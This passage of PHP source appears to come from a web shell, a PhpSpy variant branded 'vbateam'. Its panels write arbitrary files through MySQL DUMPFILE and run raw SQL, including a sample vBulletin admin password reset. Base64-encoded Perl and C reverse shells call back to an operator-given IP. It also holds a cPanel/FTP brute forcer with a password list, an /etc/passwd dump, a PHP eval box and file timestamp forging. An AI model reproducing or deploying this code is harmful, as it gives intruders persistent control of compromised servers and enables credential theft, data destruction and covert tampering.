p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
p('<td nowrap>' . $filedb['mtime'] . '</td>');
p('<td nowrap>' . $filedb['size'] . '</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
p('<td nowrap>');
p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Down</a> | ');
p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Copy</a> | ');
p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Edit</a> | ');
p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Rename</a> | ');
p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Time</a>');
p('</td></tr>');
$file_i++;
}
}
p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">' . $dir_i . ' directories / ' . $file_i . ' files</td></tr>');
p('</form></table>');
} elseif ($action == 'sqlfile') {
if ($doing == "mysqlupload") {
$file = $_FILES['uploadfile'];
$filename = $file['tmp_name'];
if (file_exists($savepath)) {
m('The goal file has already existed');
} else {
if (!$filename) {
m('Please choose a file');
} else {
$fp = @fopen($filename, 'r');
$contents = @fread($fp, filesize($filename));
@fclose($fp);
$contents = bin2hex($contents);
if (!$upname) {
$upname = $file['name'];
}
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '{$savepath}';");
m($result ? 'Upload success' : 'Upload has failed: ' . mysql_error());
}
}
}
?>
<script type="text/javascript">
function mysqlfile(doing){
if(!doing) return;
$('doing').value=doing;
$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
$('mysqlfile').charset.value=$('dbinfo').charset.value;
$('mysqlfile').submit();
}
</script>
<?php
!$dbhost && ($dbhost = 'localhost');
!$dbuser && ($dbuser = 'root');
!$dbport && ($dbport = '3306');
$charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
formhead(array('title' => 'MYSQL Information', 'name' => 'dbinfo'));
makehide('action', 'sqlfile');
p('<p>');
p('DBHost:');
makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
p(':');
makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
p('DBUser:');
makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
p('DBPass:');
makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
p('DBName:');
makeinput(array('name' => 'dbname', 'size' => 15, 'value' => $dbname));
p('DBCharset:');
makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
p('</p>');
formfoot();
p('<form action="' . $self . '" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
p('<h2>Upload file</h2>');
p('<p><b>This operation the DB user must has FILE privilege</b></p>');
p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
p('<h2>Download file</h2>');
p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
makehide('dbhost');
makehide('dbport');
makehide('dbuser');
makehide('dbpass');
makehide('dbname');
makehide('charset');
makehide('doing');
makehide('action', 'sqlfile');
p('</form>');
} elseif ($action == 'sqladmin') {
!$dbhost && ($dbhost = 'localhost');
!$dbuser && ($dbuser = 'root');
!$dbport && ($dbport = '3306');
$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
if (isset($dbhost)) {
$dbform = "<input type=\"hidden\" id=\"connect\" name=\"connect\" value=\"1\" /><input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"localhost\" />\n";
}
if (isset($dbuser)) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"{$dbuser}\" />\n";
}
if (isset($dbpass)) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"{$dbpass}\" />\n";
}
if (isset($dbport)) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"{$dbport}\" />\n";
}
if (isset($dbname)) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"{$dbname}\" />\n";
}
if (isset($charset)) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"{$charset}\" />\n";
}
if ($doing == 'backupmysql' && $saveasfile) {
if (!$table) {
m('Please choose the table');
} else {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$table = array_flip($table);
$fp = @fopen($path, 'w');
if ($fp) {
$result = q('SHOW tables');
if (!$result) {
p('<h2>' . mysql_error() . '</h2>');
}
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $fp);
}
}
fclose($fp);
$fileurl = str_replace(SA_ROOT, '', $path);
m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
mysql_close();
} else {
m('Backup failed');
}
}
}
if ($insert && $insertsql) {
$keystr = $valstr = $tmp = '';
foreach ($insertsql as $key => $val) {
if ($val) {
$keystr .= $tmp . $key;
$valstr .= $tmp . "'" . addslashes($val) . "'";
$tmp = ',';
}
}
if ($keystr && $valstr) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
m(q("INSERT INTO {$tablename} ({$keystr}) VALUES ({$valstr})") ? 'Insert new record of success' : mysql_error());
}
}
if ($update && $insertsql && $base64) {
$valstr = $tmp = '';
foreach ($insertsql as $key => $val) {
$valstr .= $tmp . $key . "='" . addslashes($val) . "'";
$tmp = ',';
}
if ($valstr) {
$where = base64_decode($base64);
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
m(q("UPDATE {$tablename} SET {$valstr} WHERE {$where} LIMIT 1") ? 'Record updating' : mysql_error());
}
}
if ($doing == 'del' && $base64) {
$where = base64_decode($base64);
$delete_sql = "DELETE FROM {$tablename} WHERE {$where}";
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
m(q("DELETE FROM {$tablename} WHERE {$where}") ? 'Deletion record of success' : mysql_error());
}
if ($tablename && $doing == 'drop') {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (q("DROP TABLE {$tablename}")) {
m('Drop table of success');
$tablename = '';
} else {
m(mysql_error());
}
}
$charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
formhead(array('title' => 'MYSQL Manager'));
makehide('action', 'sqladmin');
p('<p>');
p('DBHost:');
makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
p(':');
makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
p('DBUser:');
makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
p('DBPass:');
makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
p('DBCharset:');
makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
makeinput(array('name' => 'connect', 'value' => 'Connect', 'type' => 'submit', 'class' => 'bt'));
p('</p>');
formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == 'del') {
if (!confirm('Is or isn\'t deletion record?')) return;
}
$('recordlist').doing.value=action;
$('recordlist').base64.value=base64;
$('recordlist').tablename.value=tablename;
$('recordlist').submit();
}
function moddbname(dbname) {
if(!dbname) return;
$('setdbname').dbname.value=dbname;
$('setdbname').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$('settable').doing.value=doing;
}
if (page) {
$('settable').page.value=page;
}
$('settable').tablename.value=tablename;
$('settable').submit();
}
</script>
<?php
// SQL
formhead(array('name' => 'recordlist'));
makehide('doing');
makehide('action', 'sqladmin');
makehide('base64');
makehide('tablename');
p($dbform);
formfoot();
// Data
formhead(array('name' => 'setdbname'));
makehide('action', 'sqladmin');
p($dbform);
if (!$dbname) {
makehide('dbname');
}
formfoot();
formhead(array('name' => 'settable'));
makehide('action', 'sqladmin');
p($dbform);
makehide('tablename');
makehide('page', $page);
makehide('doing');
formfoot();
$cachetables = array();
$pagenum = 30;
$page = intval($page);
if ($page) {
$start_limit = ($page - 1) * $pagenum;
} else {
$start_limit = 0;
$page = 1;
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
// get mysql server
$mysqlver = mysql_get_server_info();
p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
$highver = $mysqlver > '4.1' ? 1 : 0;
// Show database
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = '-- Select a database --';
while ($db = mysql_fetch_array($query)) {
$dbs[$db['Database']] = $db['Database'];
}
makeselect(array('title' => 'Please select a database:', 'name' => 'db[]', 'option' => $dbs, 'selected' => $dbname, 'onchange' => 'moddbname(this.options[this.selectedIndex].value)', 'newline' => 1));
$tabledb = array();
if ($dbname) {
p('<p>');
p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
if ($tablename) {
p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
}
p('</p>');
mysql_select_db($dbname);
$getnumsql = '';
$runquery = 0;
if ($sql_query) {
$runquery = 1;
}
$allowedit = 0;
if ($tablename && !$sql_query) {
$sql_query = "SELECT * FROM {$tablename}";
$getnumsql = $sql_query;
$sql_query .= " LIMIT {$start_limit}, {$pagenum}";
$allowedit = 1;
}
p('<form action="' . $self . '" method="POST">');
p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
makehide('tablename', $tablename);
makehide('action', 'sqladmin');
p($dbform);
p('</form>');
if ($tablename || $runquery && $sql_query) {
if ($doing == 'structure') {
$result = q("SHOW COLUMNS FROM {$tablename}");
$rowdb = array();
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
p('<td>Field</td>');
p('<td>Type</td>');
p('<td>Null</td>');
p('<td>Key</td>');
p('<td>Default</td>');
p('<td>Extra</td>');
p('</tr>');
foreach ($rowdb as $row) {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td>' . $row['Field'] . '</td>');
p('<td>' . $row['Type'] . '</td>');
p('<td>' . $row['Null'] . ' </td>');
p('<td>' . $row['Key'] . ' </td>');
p('<td>' . $row['Default'] . ' </td>');
p('<td>' . $row['Extra'] . ' </td>');
p('</tr>');
}
tbfoot();
} elseif ($doing == 'insert' || $doing == 'edit') {
$result = q('SHOW COLUMNS FROM ' . $tablename);
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
$rs = array();
if ($doing == 'insert') {
p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
} else {
p('<h2>Update record in ' . $tablename . ' table »</h2>');
$where = base64_decode($base64);
$result = q("SELECT * FROM {$tablename} WHERE {$where} LIMIT 1");
$rs = mysql_fetch_array($result);
}
p('<form method="post" action="' . $self . '">');
p($dbform);
makehide('action', 'sqladmin');
makehide('tablename', $tablename);
p('<table border="0" cellpadding="3" cellspacing="0">');
foreach ($rowdb as $row) {
if ($rs[$row['Field']]) {
$value = htmlspecialchars($rs[$row['Field']]);
} else {
$value = '';
}
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
}
if ($doing == 'insert') {
p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
} else {
p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
makehide('base64', $base64);
}
p('</table></form>');
} else {
$querys = @explode(';', $sql_query);
foreach ($querys as $num => $query) {
if ($query) {
p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
switch (qy($query)) {
case 0:
p('<h2>Error : ' . mysql_error() . '</h2>');
break;
case 1:
if (strtolower(substr($query, 0, 13)) == 'select * from') {
$allowedit = 1;
}
if ($getnumsql) {
$tatol = mysql_num_rows(q($getnumsql));
$multipage = multi($tatol, $pagenum, $page, $tablename);
}
if (!$tablename) {
$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
$sql_line = preg_replace("/\\/\\*[^(\\*\\/)]*\\*\\//i", " ", $sql_line);
preg_match_all("/from\\s+`{0,1}([\\w]+)`{0,1}\\s+/i", $sql_line, $matches);
$tablename = $matches[1][0];
}
$result = q($query);
p($multipage);
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
if ($allowedit) {
p('<td>Action</td>');
}
$fieldnum = @mysql_num_fields($result);
for ($i = 0; $i < $fieldnum; $i++) {
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>{$name}<br><span>{$type}({$len})</span></td>");
}
p('</tr>');
while ($mn = @mysql_fetch_assoc($result)) {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
$where = $tmp = $b1 = '';
foreach ($mn as $key => $inside) {
if ($inside) {
$where .= $tmp . $key . "='" . addslashes($inside) . "'";
$tmp = ' AND ';
}
$b1 .= '<td nowrap>' . html_clean($inside) . ' </td>';
}
$where = base64_encode($where);
if ($allowedit) {
p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>');
}
p($b1);
p('</tr>');
unset($b1);
}
tbfoot();
p($multipage);
break;
case 2:
$ar = mysql_affected_rows();
p('<h2>affected rows : <b>' . $ar . '</b></h2>');
break;
}
}
}
}
} else {
$query = q("SHOW TABLE STATUS");
$table_num = $table_rows = $data_size = 0;
$tabledb = array();
while ($table = mysql_fetch_array($query)) {
$data_size += $table['Data_length'];
$table_rows += $table['Rows'];
$table['Data_length'] = sizecount($table['Data_length']);
$table_num++;
$tabledb[] = $table;
}
$data_size = sizecount($data_size);
unset($table);
p('<table border="0" cellpadding="0" cellspacing="0">');
p('<form action="' . $self . '" method="POST">');
makehide('action', 'sqladmin');
p($dbform);
p('<tr class="head">');
p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
p('<td>Name</td>');
p('<td>Rows</td>');
p('<td>Data_length</td>');
p('<td>Create_time</td>');
p('<td>Update_time</td>');
if ($highver) {
p('<td>Engine</td>');
p('<td>Collation</td>');
}
p('</tr>');
foreach ($tabledb as $key => $table) {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
p('<td>' . $table['Rows'] . '</td>');
p('<td>' . $table['Data_length'] . '</td>');
p('<td>' . $table['Create_time'] . '</td>');
p('<td>' . $table['Update_time'] . '</td>');
if ($highver) {
p('<td>' . $table['Engine'] . '</td>');
p('<td>' . $table['Collation'] . '</td>');
}
p('</tr>');
}
p('<tr class=fout>');
p('<td> </td>');
p('<td>Total tables: ' . $table_num . '</td>');
p('<td>' . $table_rows . '</td>');
p('<td>' . $data_size . '</td>');
p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
p('</tr>');
p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
makehide('doing', 'backupmysql');
formfoot();
p("</table>");
fr($query);
}
}
}
tbfoot();
@mysql_close();
} elseif ($action == 'backconnect') {
!$yourip && ($yourip = $_SERVER['REMOTE_ADDR']);
!$yourport && ($yourport = '12345');
$usedb = array('perl' => 'perl', 'c' => 'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ($start && $yourip && $yourport && $use) {
if ($use == 'perl') {
cf('/tmp/angel_bc', $back_connect);
$res = execute(which('perl') . " /tmp/angel_bc {$yourip} {$yourport} &");
} else {
cf('/tmp/angel_bc.c', $back_connect_c);
$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
@unlink('/tmp/angel_bc.c');
$res = execute("/tmp/angel_bc {$yourip} {$yourport} &");
}
m("Now script try connect to {$yourip} port {$yourport} ...");
}
formhead(array('title' => 'Back Connect'));
makehide('action', 'backconnect');
p('<p>');
p('Your IP:');
makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $yourip));
p('Your Port:');
makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $yourport));
p('Use:');
makeselect(array('name' => 'use', 'option' => $usedb, 'selected' => $use));
makeinput(array('name' => 'start', 'value' => 'Start', 'type' => 'submit', 'class' => 'bt'));
p('</p>');
formfoot();
} elseif ($action == 'brute') {
formhead(array('title' => 'Brute Forcer'));
makehide('action', 'brute');
makehide('dir', $brute);
@ini_set('memory_limit', 1000000000000);
$connect_timeout = 5;
@set_time_limit(0);
$submit = $_REQUEST['submit'];
$users = $_REQUEST['users'];
$pass = $_REQUEST['passwords'];
$target = $_REQUEST['target'];
$option = $_REQUEST['option'];
$passlist = "0123456\n01234567\n012345678\n0123456789\n01234567890\n123456\n1234567\n12345678\n123456789\n1234567890\n111111\n000000\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999\n123123\n456456\n789789\n123321\n456654\n654321\n7654321\n87654321\n987654321\n0987654321\nadmin\nadministrator\nadmincp\ncpanel\nadminx\nadmins\npassword\npasswords\npassw0rd\np@ssw0rd\np@ssword\nkhongco\n25251325\npassw0rds";
if ($target == '') {
$target = 'localhost';
}
print " <div align='center'>\n<form method='post' style='border: 1px solid #000000'><br><br>\n<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>\n<b> Target : </font><input type='text' name='target' size='16' value= {$target} style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>\n<div align='center'><br>\n<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>\n<tr>\n<td align='center'>\n<b>Username</b></td>\n<td>\n<p align='center'>\n<b>Password</b></td>\n</tr>\n</table>\n<p align='center'>\n<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
$i = 0;
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list($key, $vba_etcpwd) = each($line)) {
echo "" . $vba_etcpwd . "\n";
break;
}
}
$i++;
}
echo "\n</textarea>\n<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>{$passlist}</textarea><br>\n<br>\n<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel\n<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>\n</td></tr></table></td></tr></form><p align= 'left'>";
function ftp_check($host, $user, $pass, $timeout)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://{$host}");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "{$user}:{$pass}");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if (curl_errno($ch) == 28) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;
} elseif (curl_errno($ch) == 0) {
p("<b>[ attack@vbateam.net ]# </b>\n<b> Attacking has been done! Username: <font color='#FF0000'> {$user} </font> / Password:<font color='#FF0000'> {$pass} </font> => <a href=http://{$user}:{$pass}@{$host}:2082 target=_blank>Login</a></b><br>");
}
curl_close($ch);
}
function cpanel_check($host, $user, $pass, $timeout)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://{$host}:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "{$user}:{$pass}");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if (curl_errno($ch) == 28) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;
} elseif (curl_errno($ch) == 0) {
p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> {$user} </font> / Password:<font color='#FF0000'> {$pass} </font></b><br>");
}
curl_close($ch);
}
if (isset($submit) && !empty($submit)) {
$userlist = explode("\n", $users);
$passlist = explode("\n", $pass);
p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
foreach ($userlist as $user) {
$_user = trim($user);
foreach ($passlist as $password) {
$_pass = trim($password);
if ($option == "ftp") {
ftp_check($target, $_user, $_pass, $connect_timeout);
}
if ($option == "cpanel") {
cpanel_check($target, $_user, $_pass, $connect_timeout);
}
}
}
}
formfoot();
} elseif ($action == 'etcpwd') {
formhead(array('title' => 'Get /etc/passwd'));
makehide('action', 'etcpwd');
makehide('dir', $nowpath);
$i = 0;
echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list($key, $vba_etcpwd) = each($line)) {
echo "" . $vba_etcpwd . "\n";
break;
}
}
$i++;
}
echo "</textarea></p>";
formfoot();
} elseif ($action == 'eval') {
$phpcode = trim($phpcode);
if ($phpcode) {
if (!preg_match('#<\\?#si', $phpcode)) {
$phpcode = "<?php\n\n{$phpcode}\n\n?>";
}
eval("?" . ">{$phpcode}<?php ");
}
formhead(array('title' => 'Eval PHP Code'));
makehide('action', 'eval');
maketext(array('title' => 'PHP Code', 'name' => 'phpcode', 'value' => $phpcode));
p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
formfooter();
} elseif ($action == 'editfile') {
if (file_exists($opfile)) {
$fp = @fopen($opfile, 'r');
$contents = @fread($fp, filesize($opfile));
@fclose($fp);
$contents = htmlspecialchars($contents);
}
formhead(array('title' => 'Create / Edit File'));
makehide('action', 'file');
makehide('dir', $nowpath);
makeinput(array('title' => 'Current File (import new file name and new file)', 'name' => 'editfilename', 'value' => $opfile, 'newline' => 1));
maketext(array('title' => 'File Content', 'name' => 'filecontent', 'value' => $contents));
formfooter();
} elseif ($action == 'newtime') {
$opfilemtime = @filemtime($opfile);
//$time = strtotime("$year-$month-$day $hour:$minute:$second");
$cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
formhead(array('title' => 'Clone file was last modified time'));
makehide('action', 'file');
makehide('dir', $nowpath);
makeinput(array('title' => 'Alter file', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
makeinput(array('title' => 'Reference file (fullpath)', 'name' => 'tarfile', 'size' => 120, 'newline' => 1));
formfooter();
formhead(array('title' => 'Set last modified'));
makehide('action', 'file');
makehide('dir', $nowpath);
makeinput(array('title' => 'Current file (fullpath)', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
p('<p>Instead »');
p('year:');
makeinput(array('name' => 'year', 'value' => date('Y', $opfilemtime), 'size' => 4));
p('month:');
makeinput(array('name' => 'month', 'value' => date('m', $opfilemtime), 'size' => 2));
